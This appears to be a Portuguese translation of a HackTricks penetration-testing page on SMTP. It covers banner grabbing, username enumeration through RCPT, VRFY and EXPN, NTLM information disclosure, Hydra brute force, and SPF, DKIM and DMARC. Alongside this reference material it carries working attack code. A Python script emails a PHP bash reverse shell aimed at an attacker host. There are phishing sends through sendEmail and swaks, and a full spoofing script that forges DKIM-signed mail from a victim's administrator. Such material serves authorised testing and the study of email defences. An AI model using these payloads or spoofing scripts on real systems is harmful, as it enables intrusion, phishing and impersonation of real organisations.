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..
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smtp-commands.md	Translated ['network-services-pentesting/pentesting-mssql-microsoft-sql-	2024-01-02 23:25:33 +00:00

README.md

25,465,587 - Pentesting SMTP/s

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DragonJAR Security Conference é um evento internacional de cibersegurança com mais de uma década, que ocorrerá nos dias 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento de alto conteúdo técnico onde são apresentadas as últimas pesquisas em espanhol, atraindo hackers e pesquisadores do mundo todo.
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{% embed url="https://www.dragonjarcon.org/" %}

Informações Básicas

SMTP (Simple Mail Transfer Protocol) é um protocolo TCP/IP utilizado no envio e recebimento de e-mails. No entanto, como é limitado na sua capacidade de enfileirar mensagens no final da recepção, geralmente é usado com um dos dois outros protocolos, POP3 ou IMAP, que permitem ao usuário salvar mensagens em uma caixa de correio do servidor e baixá-las periodicamente do servidor.

Em outras palavras, os usuários normalmente utilizam um programa que usa SMTP para enviar e-mails e POP3 ou IMAP para receber e-mails. Em sistemas baseados em Unix, sendmail é o servidor SMTP mais utilizado para e-mails. Um pacote comercial, Sendmail, inclui um servidor POP3. Microsoft Exchange inclui um servidor SMTP e também pode ser configurado para incluir suporte POP3.
De aqui.

Porta padrão: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

Cabeçalhos de EMAIL

Se você tiver a oportunidade de fazer a vítima enviar-lhe um email (através do formulário de contato da página web, por exemplo), faça isso porque você poderá aprender sobre a topologia interna da vítima observando os cabeçalhos do email.

Você também pode obter um email de um servidor SMTP tentando enviar para esse servidor um email para um endereço inexistente (porque o servidor enviará ao atacante um email de NDN). Mas, certifique-se de que você envie o email de um endereço permitido (verifique a política de SPF) e que você possa receber mensagens de NDN.

Você também deve tentar enviar conteúdos diferentes porque você pode encontrar informações mais interessantes nos cabeçalhos como: X-Virus-Scanned: by av.domain.com
Você deve enviar o arquivo de teste EICAR.
Detectar o AV pode permitir que você explore vulnerabilidades conhecidas.

Ações Básicas

Captura de Banner/Conexão Básica

SMTP:

nc -vn <IP> 25

SMTPS:

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Encontrando servidores MX de uma organização

dig +short mx google.com

Enumeração

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Divulgação de Informações

Se o servidor suportar autenticação NTLM (Windows), você pode obter informações sensíveis (versões). Mais informações aqui.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Ou automatize isso com o plugin do nmap smtp-ntlm-info.nse

Nome do servidor interno - Divulgação de informações

Alguns servidores SMTP completam automaticamente o endereço do remetente quando o comando "MAIL FROM" é emitido sem um endereço completo, divulgando seu nome interno:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Verifique se você consegue capturar alguma senha dos pacotes para a porta 25

Força bruta de autenticação

Enumeração de Força Bruta de Nome de Usuário

A autenticação nem sempre é necessária

RCPT TO

$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
MAIL FROM:test@test.org
250 2.1.0 test@test.org... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

$ telnet 10.0.0.1 25
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
VRFY root
250 Super-User <root@myhost>
VRFY blah
550 blah... User unknown

EXPN

$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 <ed.williams@myhost>
EXPN sshd
250 2.1.5 sshd privsep <sshd@mail2>

Extraído de: https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/

Ferramentas automáticas

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

DragonJAR Security Conference é um evento internacional de cibersegurança com mais de uma década de existência, que ocorrerá nos dias 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento com grande conteúdo técnico onde são apresentadas as últimas pesquisas em espanhol, atraindo hackers e pesquisadores de todo o mundo.
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Relatórios DSN

Relatórios de Notificação de Status de Entrega: Se você enviar um email para uma organização para um endereço inválido, a organização notificará que o endereço foi invalidado enviando um email de volta para você. Os cabeçalhos do email retornado irão conter possíveis informações sensíveis (como o endereço IP dos serviços de email que interagiram com os relatórios ou informações de software antivírus).

Comandos

Enviando um Email do console linux

root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

IT Dept,

We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.

Sincerely,

swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Enviando um Email com Python

Aqui está uma maneira alternativa de enviar um email com script python

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
print("[-]Connection Error")
exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

Falsificação de E-mail

A maior parte desta seção foi extraída do livro Network Security Assessment 3rd Edition.

As mensagens SMTP são facilmente falsificadas, e por isso as organizações utilizam recursos SPF, DKIM e DMARC para impedir que partes não autorizadas enviem e-mails.

Um guia completo dessas contramedidas pode ser encontrado em https://seanthegeek.net/459/demystifying-dmarc/

SPF

{% hint style="danger" %} SPF foi "descontinuado" em 2014. Isso significa que, em vez de criar um registro TXT em _spf.domain.com, você o cria em domain.com usando a mesma sintaxe.
Além disso, para reutilizar registros SPF anteriores, é bastante comum encontrar algo como "v=spf1 include:_spf.google.com ~all" {% endhint %}

Sender Policy Framework (SPF) fornece um mecanismo que permite aos MTAs verificar se um host enviando um e-mail está autorizado.
Então, as organizações podem definir uma lista de servidores de e-mail autorizados e os MTAs podem consultar essas listas para verificar se o e-mail foi falsificado ou não.
Para definir endereços/ranges de IP, domínios e outros que estão autorizados a enviar e-mails em nome de um nome de domínio, diferentes "Mecanismos" podem aparecer no registro SPF.

Mecanismos

Mecanismo	Descrição
ALL	Sempre corresponde; usado para um resultado padrão como `-all` para todos os IPs não correspondidos pelos mecanismos anteriores.
A	Se o nome do domínio tem um registro de endereço (A ou AAAA) que pode ser resolvido para o endereço do remetente, ele corresponderá.
IP4	Se o remetente está em uma determinada faixa de endereços IPv4, corresponde.
IP6	Se o remetente está em uma determinada faixa de endereços IPv6, corresponde.
MX	Se o nome do domínio tem um registro MX que resolve para o endereço do remetente, ele corresponderá (ou seja, o e-mail vem de um dos servidores de e-mail de entrada do domínio).
PTR	Se o nome do domínio (registro PTR) para o endereço do cliente está no domínio dado e esse nome de domínio resolve para o endereço do cliente (DNS reverso confirmado), corresponde. Este mecanismo é desencorajado e deve ser evitado, se possível.
EXISTS	Se o nome do domínio dado resolve para qualquer endereço, corresponde (não importa para qual endereço ele resolve). Isso é raramente usado. Junto com a linguagem de macro SPF, oferece correspondências mais complexas como consultas DNSBL.
INCLUDE	Faz referência à política de outro domínio. Se a política desse domínio passar, este mecanismo passa. No entanto, se a política incluída falhar, o processamento continua. Para delegar completamente a política de outro domínio, a extensão de redirecionamento deve ser usada.
REDIRECT	Um redirecionamento é um ponteiro para outro nome de domínio que hospeda uma política SPF, permite que vários domínios compartilhem a mesma política SPF. É útil ao trabalhar com uma grande quantidade de domínios que compartilham a mesma infraestrutura de e-mail. A política SPF do domínio indicado no mecanismo de redirecionamento será usada.

Também é possível identificar Qualificadores que indicam o que deve ser feito se um mecanismo corresponder. Por padrão, o qualificador "+" é usado (então, se qualquer mecanismo corresponder, isso significa que é permitido).
Você geralmente notará no final de cada política SPF algo como: ~all ou -all. Isso é usado para indicar que se o remetente não corresponder a nenhuma política SPF, você deve marcar o e-mail como não confiável (~) ou rejeitar (-) o e-mail.

Qualificadores

Cada mecanismo pode ser combinado com um dos quatro qualificadores:

+ para um resultado PASS. Isso pode ser omitido; por exemplo, +mx é o mesmo que mx.
? para um resultado NEUTRAL interpretado como NONE (sem política).
~ (tilde) para SOFTFAIL, um auxílio de depuração entre NEUTRAL e FAIL. Tipicamente, mensagens que retornam um SOFTFAIL são aceitas, mas marcadas.
- (menos) para FAIL, o e-mail deve ser rejeitado (veja abaixo).

No seguinte exemplo, você pode ler a política SPF do google.com. Note como a primeira política SPF inclui políticas SPF de outros domínios:

kali@kali:~$ dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

kali@kali:~$ dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

kali@kali:~$ dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

kali@kali:~$ dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

kali@kali:~$ dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Tradicionalmente era possível falsificar qualquer nome de domínio que não tivesse um registro SPF correto/ou nenhum registro SPF. Atualmente, se um email vier de um domínio sem um registro SPF válido provavelmente será rejeitado/marcado como não confiável automaticamente.

Para verificar o SPF de um domínio, você pode usar ferramentas online como: https://www.kitterman.com/spf/validate.html

DKIM

DomainKeys Identified Mail (DKIM) é um mecanismo pelo qual emails enviados são assinados e validados por MTAs estrangeiros ao recuperar a chave pública de um domínio via DNS. A chave pública DKIM é mantida dentro de um registro TXT para um domínio; no entanto, você deve saber tanto o seletor quanto o nome do domínio para recuperá-la.

Então, para solicitar a chave, você precisa do nome do domínio e do seletor do email do cabeçalho do email DKIM-Signature por exemplo: d=gmail.com;s=20120113

dig 20120113._domainkey.gmail.com TXT | grep p=
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCg
KCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC

Domain-based Message Authentication, Reporting & Conformance (DMARC) é um método de autenticação de e-mail que expande o SPF e o DKIM. Políticas instruem servidores de e-mail sobre como processar e-mails para um determinado domínio e relatar as ações realizadas.

Para obter o registro DMARC, você precisa consultar o subdomínio _dmarc

root@kali:~# dig _dmarc.yahoo.com txt | grep DMARC
_dmarc.yahoo.com.  1785 IN TXT "v=DMARC1\; p=reject\; sp=none\; pct=100\;
rua=mailto:dmarc-yahoo-rua@yahoo-inc.com, mailto:dmarc_y_rua@yahoo.com\;"

root@kali:~# dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 600 IN TXT "v=DMARC1\; p=quarantine\; rua=mailto:mailauth-reports@google.com"

root@kali:~# dig _dmarc.paypal.com txt | grep DMARC
_dmarc.paypal.com. 300 IN TXT "v=DMARC1\; p=reject\; rua=mailto:d@rua.agari.com\;
ruf=mailto:dk@bounce.paypal.com,mailto:d@ruf.agari.com"

Tags DMARC

Nome da Tag	Propósito	Exemplo
v	Versão do protocolo	v=DMARC1
pct	Percentagem de mensagens sujeitas a filtragem	pct=20
ruf	URI de relatório para relatórios forenses	ruf=mailto:authfail@example.com
rua	URI de relatório de relatórios agregados	rua=mailto:aggrep@example.com
p	Política para o domínio organizacional	p=quarantine
sp	Política para subdomínios do DO	sp=reject
adkim	Modo de alinhamento para DKIM	adkim=s
aspf	Modo de alinhamento para SPF	aspf=r

E quanto a Subdomínios?

De aqui.
Você precisa ter registros SPF separados para cada subdomínio do qual deseja enviar e-mails.
O seguinte foi originalmente postado em openspf.org, que costumava ser um ótimo recurso para esse tipo de informação.

A Questão Demoníaca: E quanto a subdomínios?

Se eu receber um e-mail de pielovers.demon.co.uk, e não houver dados SPF para pielovers, devo voltar um nível e testar o SPF para demon.co.uk? Não. Cada subdomínio na Demon é um cliente diferente, e cada cliente pode ter sua própria política. Não faria sentido a política da Demon aplicar-se a todos os seus clientes por padrão; se a Demon quiser fazer isso, ela pode configurar registros SPF para cada subdomínio.

Portanto, o conselho para publicadores de SPF é este: você deve adicionar um registro SPF para cada subdomínio ou hostname que tenha um registro A ou MX.

Sites com registros A ou MX curinga também devem ter um registro SPF curinga, da forma: * IN TXT "v=spf1 -all"

Isso faz sentido - um subdomínio pode muito bem estar em uma localização geográfica diferente e ter uma definição de SPF muito diferente.

Open Relay

Para evitar que os e-mails enviados sejam filtrados por filtros de spam e não cheguem ao destinatário, o remetente pode usar um servidor de retransmissão que o destinatário confia. Muitas vezes, os administradores não têm visão geral de quais faixas de IP eles têm que permitir. Isso resulta em uma má configuração do servidor SMTP que ainda encontraremos frequentemente em testes de penetração externos e internos. Portanto, eles permitem todos os endereços IP para não causar erros no tráfego de e-mail e assim não perturbar ou interromper involuntariamente a comunicação com clientes potenciais e atuais.

mynetworks = 0.0.0.0/0

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Ferramentas

https://github.com/serain/mailspoof Verificar configurações incorretas de SPF e DMARC
https://pypi.org/project/checkdmarc/ Obter automaticamente configurações de SPF e DMARC

Enviar Email Falso

Ou você pode usar uma ferramenta:

https://github.com/magichk/magicspoofing****

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

{% hint style="warning" %} Se você encontrar algum erro ao usar a biblioteca python dkim ao analisar a chave, fique à vontade para usar a seguinte.
NOTA: Isso é apenas uma correção rápida para fazer verificações rápidas em casos onde, por algum motivo, a chave privada openssl não pode ser analisada pelo dkim.

{% endhint %}

Ou você pode fazer isso manualmente:

{% tabs %} {% tab title="PHP" %}

# Isso enviará uma mensagem não assinada
mail("seu_email@gmail.com", "Assunto de Teste!", "Ei! Isso é um teste", "De: administrator@victim.com");

{% endtab %}

{% tab title="Python" %}

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

{% endtab %} {% endtabs %}

Mais informações

Encontre mais informações sobre essas proteções em https://seanthegeek.net/459/demystifying-dmarc/

Outros indicadores de phishing

Idade do domínio
Links apontando para endereços IP
Técnicas de manipulação de links
Anexos suspeitos (incomuns)
Conteúdo de email quebrado
Valores utilizados que são diferentes dos cabeçalhos de email
Existência de um certificado SSL válido e confiável
Submissão da página a sites de filtragem de conteúdo web

Exfiltração através do SMTP

Se você pode enviar dados via SMTP leia isto.

Arquivo de configuração

Postfix

Geralmente, se instalado, em /etc/postfix/master.cf contém scripts para executar quando, por exemplo, um novo email é recebido por um usuário. Por exemplo, a linha flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} significa que /etc/postfix/filtering será executado se um novo email for recebido pelo usuário mark.

Outros arquivos de configuração:

sendmail.cf
submit.cf

Comandos Automáticos HackTricks

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

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